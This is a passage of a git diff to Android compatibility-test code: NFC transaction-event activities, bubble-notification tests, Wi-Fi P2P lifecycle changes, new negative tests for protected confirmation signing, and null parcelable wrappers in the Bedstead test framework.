 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent1EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
     private void initProcess() {
 
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 34a418b..3f914c1f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent2EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
 
     private void initProcess() {
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index 6055ac4..09c13b8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
 import android.widget.TextView;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-
 import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent3EmulatorActivity extends PassFailButtons.Activity {
@@ -105,9 +89,9 @@
 
     private void initProcess() {
         Bundle bundle = getIntent().getExtras();
-        if(bundle != null){
+        if (bundle != null && getIntent().getAction() != null) {
             byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
-            if(transactionData != null){
+            if (transactionData != null) {
                 runOnUiThread(new Runnable() {
                     @Override
                     public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 8acfcd5..6b31a79 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,8 @@
 import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.content.Intent.ACTION_VIEW;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
+import static android.content.pm.PackageManager.FEATURE_PC;
 import static android.view.View.GONE;
 import static android.view.View.INVISIBLE;
 import static android.view.View.VISIBLE;
@@ -183,9 +185,14 @@
             //
             // Expanded view appearance
             //
-            mTests.add(new PortraitAndLandscape());
+            // At the moment, PC devices do not support rotation
+            if (!getPackageManager().hasSystemFeature(FEATURE_PC)) {
+                mTests.add(new PortraitAndLandscape());
+            }
             mTests.add(new ScrimBehindExpandedView());
-            mTests.add(new ImeInsetsExpandedView());
+            if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) {
+                mTests.add(new ImeInsetsExpandedView());
+            }
             mTests.add(new MinHeightExpandedView());
             mTests.add(new MaxHeightExpandedView());
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 542fb36..f3e2680 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -15,10 +15,6 @@
  */
 package com.android.cts.verifier.p2p;
 
-import java.util.Collection;
-import java.util.Timer;
-import java.util.TimerTask;
-
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
@@ -40,6 +36,10 @@
 import com.android.cts.verifier.p2p.testcase.TestCase;
 import com.android.cts.verifier.p2p.testcase.TestCase.TestCaseListener;
 
+import java.util.Collection;
+import java.util.Timer;
+import java.util.TimerTask;
+
 /**
  * A base class for requester test activity.
  *
@@ -135,8 +135,8 @@
     }
 
     @Override
-    protected void onResume() {
-        super.onResume();
+    protected void onStart() {
+        super.onStart();
         /*
          * If the target device is NOT set, search targets and show
          * the target device list on the dialog.
@@ -152,8 +152,8 @@
     }
 
     @Override
-    protected void onPause() {
-        super.onPause();
+    protected void onStop() {
+        super.onStop();
         if (mTimer != null) {
             mTimer.cancel();
             mTimer = null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
index 39f0bf8..405d4be 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
@@ -101,8 +101,8 @@
     }
 
     @Override
-    protected void onResume() {
-        super.onResume();
+    protected void onStart() {
+        super.onStart();
         mTestCase.start(this);
         registerReceiver(mReceiver, mIntentFilter);
         mP2pMgr.requestDeviceInfo(mChannel, wifiP2pDevice -> {
@@ -119,8 +119,8 @@
     }
 
     @Override
-    protected void onPause() {
-        super.onPause();
+    protected void onStop() {
+        super.onStop();
         mTestCase.stop();
         unregisterReceiver(mReceiver);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
index 8fb9e67..1b8bfc7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
@@ -55,6 +55,8 @@
     private static final String KEY_NAME = "my_confirmation_key";
     private boolean teeTestSuccess = false;
     private boolean strongboxTestSuccess = false;
+    private boolean mTeeNegativeTestSuccess = false;
+    private boolean mStrongboxNegativeTestSuccess = false;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -81,15 +83,19 @@
                 .setVisibility(View.INVISIBLE);
         findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
                 .setVisibility(View.INVISIBLE);
+        findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+                .setVisibility(View.INVISIBLE);
+        findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+                .setVisibility(View.INVISIBLE);
         Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
         startTestButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
-                showToast("Test running...");
+                showToast("TEE positive Test running...");
                 v.post(new Runnable() {
                     @Override
                     public void run() {
-                        runTest(false /* useStrongbox */);
+                        runTest(false /* useStrongbox */, true /* positiveScenario */);
                     }
                 });
             }
@@ -102,11 +108,11 @@
             startStrongboxTestButton.setOnClickListener(new OnClickListener() {
                 @Override
                 public void onClick(View v) {
-                    showToast("Test running...");
+                    showToast("Strongbox Positive Test running...");
                     v.post(new Runnable() {
                         @Override
                         public void run() {
-                            runTest(true /* useStrongbox */);
+                            runTest(true /* useStrongbox */, true /* positiveScenario */);
                         }
                     });
                 }
@@ -119,6 +125,44 @@
             strongboxTestSuccess = true;
         }
 
+        Button startNegativeTestButton =
+                                    (Button) findViewById(R.id.sec_start_tee_negative_test_button);
+        startNegativeTestButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                showToast("TEE negative Test running...");
+                v.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        runTest(false /* useStrongbox */, false /* positiveScenario */);
+                    }
+                });
+            }
+
+        });
+
+        Button startStrongboxNegativeTestButton =
+                (Button) findViewById(R.id.sec_start_test_strongbox_negative_button);
+        if (hasStrongbox) {
+            startStrongboxNegativeTestButton.setOnClickListener(new OnClickListener() {
+                @Override
+                public void onClick(View v) {
+                    showToast("Strongbox negative Test running...");
+                    v.post(new Runnable() {
+                        @Override
+                        public void run() {
+                            runTest(true /* useStrongbox */, false /* positiveScenario */);
+                        }
+                    });
+                }
+
+            });
+        } else {
+            startStrongboxTestButton.setVisibility(View.GONE);
+            // since strongbox is unavailable we mark the strongbox test as passed so that the tee
+            // test alone can make the test pass.
+            mStrongboxNegativeTestSuccess = true;
+        }
     }
 
     /**
@@ -150,37 +194,45 @@
         }
     }
 
-    private boolean trySign(byte[] dataThatWasConfirmed) {
+    private boolean trySign(byte[] dataThatWasConfirmed, boolean positiveScenario) {
         try {
             KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
             keyStore.load(null);
             KeyStore.Entry key = keyStore.getEntry(KEY_NAME, null);
             Signature s = Signature.getInstance("SHA256withECDSA");
             s.initSign(((KeyStore.PrivateKeyEntry) key).getPrivateKey());
+            if (!positiveScenario && dataThatWasConfirmed != null
+                    && dataThatWasConfirmed.length > 0) {
+                // The data received in callback as confirmed data has prompt text and extra data
+                // included. So even using same prompt text for signing could be considered as
+                // corrupted data.
+                dataThatWasConfirmed[0] = (byte) ~dataThatWasConfirmed[0];
+            }
             s.update(dataThatWasConfirmed);
             s.sign();
         } catch (CertificateException | KeyStoreException | IOException | NoSuchAlgorithmException |
                 UnrecoverableEntryException | InvalidKeyException e) {
             throw new RuntimeException("Failed to load confirmation key", e);
         } catch (SignatureException e) {
-            return false;
+            return !positiveScenario;
         }
-        return true;
+        return positiveScenario;
     }
 
-    private void runTest(boolean useStrongbox) {
+    private void runTest(boolean useStrongbox, boolean positiveScenario) {
         createKey(useStrongbox);
         if (trySign(getString(R.string.sec_protected_confirmation_message)
-                .getBytes())) {
+                .getBytes(), true /* positiveScenario */)) {
             showToast("Test failed. Key could sign without confirmation.");
         } else {
             showConfirmationPrompt(
                     getString(R.string.sec_protected_confirmation_message),
-                    useStrongbox);
+                    useStrongbox, positiveScenario);
         }
     }
 
-    private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox) {
+    private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox,
+                                        boolean positiveScenario) {
         ConfirmationPrompt.Builder builder = new ConfirmationPrompt.Builder(this);
         builder.setPromptText(confirmationMessage);
         builder.setExtraData(new byte[]{0x1, 0x02, 0x03});
@@ -191,10 +243,14 @@
                         @Override
                         public void onConfirmed(byte[] dataThatWasConfirmed) {
                             super.onConfirmed(dataThatWasConfirmed);
-                            if (trySign(dataThatWasConfirmed)) {
-                                markTestSuccess(useStrongbox);
+                            if (trySign(dataThatWasConfirmed, positiveScenario)) {
+                                markTestSuccess(useStrongbox, positiveScenario);
                             } else {
-                                showToast("Failed to sign confirmed message");
+                                if (positiveScenario) {
+                                    showToast("Failed to sign confirmed message");
+                                } else {
+                                    showToast("Failed! Corrupted data should not be signed.");
+                                }
                             }
                         }
 
@@ -227,21 +283,30 @@
                 .show();
     }
 
-    private void markTestSuccess(boolean strongbox) {
+    private void markTestSuccess(boolean strongbox, boolean positiveScenario) {
         if (strongbox) {
-            if (!strongboxTestSuccess) {
+            if (positiveScenario && !strongboxTestSuccess) {
                 findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
                         .setVisibility(View.VISIBLE);
+                strongboxTestSuccess = true;
+            } else if (!mStrongboxNegativeTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+                        .setVisibility(View.VISIBLE);
+                mStrongboxNegativeTestSuccess = true;
             }
-            strongboxTestSuccess = true;
         } else {
-            if (!teeTestSuccess) {
+            if (positiveScenario && !teeTestSuccess) {
                 findViewById(R.id.sec_protected_confirmation_tee_test_success)
                         .setVisibility(View.VISIBLE);
+                teeTestSuccess = true;
+            } else if (!mTeeNegativeTestSuccess) {
+                findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+                        .setVisibility(View.VISIBLE);
+                mTeeNegativeTestSuccess = true;
             }
-            teeTestSuccess = true;
         }
-        if (strongboxTestSuccess && teeTestSuccess) {
+        if (strongboxTestSuccess && teeTestSuccess && mStrongboxNegativeTestSuccess
+                && mTeeNegativeTestSuccess) {
             showToast("Test passed.");
             getPassButton().setEnabled(true);
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
index 016a006..8e3346f 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
@@ -17,7 +17,6 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
-import android.os.UserHandle;
 import android.provider.Settings;
 import android.provider.Settings.SettingNotFoundException;
 import android.util.Log;
@@ -26,18 +25,24 @@
 
     private static final String TAG = GenericManagerImpl.class.getSimpleName();
 
-    private final UserHandle mUser;
+    private String mUserIdentifier;
     private final ContentResolver mContentResolver;
 
     GenericManagerImpl(Context context) {
-        mUser = context.getUser();
+        try  {
+            mUserIdentifier = String.valueOf(context.getUser().getIdentifier());
+        } catch (Throwable e) {
+            Log.w(TAG, "Error while extracting User data from " + context + " : " + e);
+            mUserIdentifier = "N/A";
+        }
         mContentResolver = context.getContentResolver();
     }
 
     @Override
     public int getSecureIntSettings(String setting) throws SettingNotFoundException {
         int value = Settings.Secure.getInt(mContentResolver, setting);
-        Log.d(TAG, "getSecureIntSettings(" + setting + ") for user " + mUser + ": " + value);
+        Log.d(TAG,
+                "getSecureIntSettings(" + setting + ") for user " + mUserIdentifier + ": " + value);
         return value;
     }
 }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f33307..218610ea 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@
     }
 
     private static void assertHasRequiredReceiver(Context context) {
-        if (!UserManager.isHeadlessSystemUserMode()) return;
+        if (!Utils.isHeadlessSystemUserMode()) return;
 
         String packageName = context.getPackageName();
         Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@
         assertHasRequiredReceiver(context);
 
         int userId = context.getUserId();
-        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+        if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
             Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
             return manager;
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -61,12 +62,17 @@
     @GuardedBy("LOCK")
     private static Handler sHandler;
 
+    static boolean isHeadlessSystemUserMode() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+                && UserManager.isHeadlessSystemUserMode();
+    }
+
     static boolean isHeadlessSystemUser() {
-        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+        return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
     }
 
     static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
-        return UserManager.isHeadlessSystemUserMode()
+        return isHeadlessSystemUserMode()
                 && context.getSystemService(UserManager.class).isUserForeground();
     }
 
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e..465ceb6 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@
             // AccountManager
 
             // Uses Activity
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@
             // Uses AccountManagerCallback
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
 
             // Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@
     private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
             ClassName.get("com.android.bedstead.remoteframeworkclasses",
                     "NullParcelableRemoteContentResolver");
+
+    // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+    private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableActivity");
+    private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableAccountManagerCallback");
+    private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableHandler");
+
     private static final ClassName COMPONENT_NAME_CLASSNAME =
             ClassName.get("android.content", "ComponentName");
 
@@ -678,6 +686,9 @@
     private void generateWrappers() {
         generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
         generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+        generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
     }
 
     private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@
 
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .addMember("futureWrappers", "$T.class",
                         ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
                 .build());
@@ -815,9 +825,8 @@
                 TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .build());
 
         classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link AccountManagerCallback}.
+     */
+    public static <F> NullParcelableAccountManagerCallback of(
+            Bundler bundler, BundlerType type,
+            AccountManagerCallback<F> accountManagerCallback) {
+
+        if (accountManagerCallback != null) {
+            throw new IllegalArgumentException("accountManagerCallback can only be null");
+        }
+
+        return new NullParcelableAccountManagerCallback<F>();
+    }
+
+    private NullParcelableAccountManagerCallback() {
+    }
+
+    public AccountManagerCallback<F> get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+            new Creator<NullParcelableAccountManagerCallback>() {
+                @Override
+                public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+                    return new NullParcelableAccountManagerCallback();
+                }
+
+                @Override
+                public NullParcelableAccountManagerCallback[] newArray(int size) {
+                    return new NullParcelableAccountManagerCallback[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
